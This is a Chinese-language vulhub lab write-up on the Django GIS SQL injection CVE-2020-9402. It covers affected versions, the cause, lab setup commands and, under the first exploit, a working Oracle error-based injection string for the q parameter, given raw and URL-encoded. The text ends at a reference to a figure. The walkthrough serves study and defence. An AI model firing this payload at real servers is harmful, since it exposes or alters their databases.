-
- 漏洞名称:Django GIS SQL注入漏洞(CVE-2020-9402)
-
- 影响版本
-
漏洞原理
-
漏洞复现
-
- 漏洞利用限制
-
环境准备
-
漏洞利用
-
- 漏洞一
-
漏洞二
-
漏洞详细分析
-
修复建议
漏洞名称:Django GIS SQL注入漏洞(CVE-2020-9402)
简介:
Django是Django基金会的一套基于Python语言的开源Web应用框架。该框架包括面向对象的映射器、视图系统、模板系统等。 Django 1.11.29之前的1.11.x版本、2.2.11之前的2.2.x版本和3.0.4之前的3.0.x版本中存在SQL注入漏洞。攻击者可借助特制的SQL语句利用该漏洞查看、添加、修改或删除数据库中的信息。
影响版本
1.11.29之前的1.11.x版本
2.2.11之前的2.2.x版本
3.0.4之前的3.0.x版本
漏洞原理
开发者使用了GIS中聚合查询的功能,用户在oracle的数据库且可控tolerance查询时的键名,在其位置注入SQL语句
漏洞利用限制
1、使用了GIS中聚合查询的功能
2、用户在oracle的数据库且可控tolerance查询时的键名
环境准备
靶机环境 139.196.87.102 (vulhub)
攻击机环境 192.168.8.137 (虚拟机 Ubuntu 、Java1.8、Burp)
启动 Django GIS SQL注入漏洞 环境
1.进入 vulhub 的 Django GIS SQL注入漏洞 路径
cd /usr/local/tools/vulhub/django/CVE-2020-9402
2.编译并启动环境
docker-compose up -d
3.查看环境运行状态
docker ps | grep vulhub
访问 139.196.87.102:8000
漏洞利用
漏洞一
首先访问 http://139.196.87.102:8000/vuln/
在该网页中使用 get 方法构造 q 的参数,构造 SQL 注入的字符串 20) = 1 OR (select utl_inaddr.get_host_name((SELECT version FROM v$instance)) from dual) is null OR (1+1
http://139.196.87.102:8000/vuln/?q=20)%20%3D%201%20OR%20(select%20utl_inaddr.get_host_name((SELECT%20version%20FROM%20v%24instance))%20from%20dual)%20is%20null%20%20OR%20(1%2B1
见下图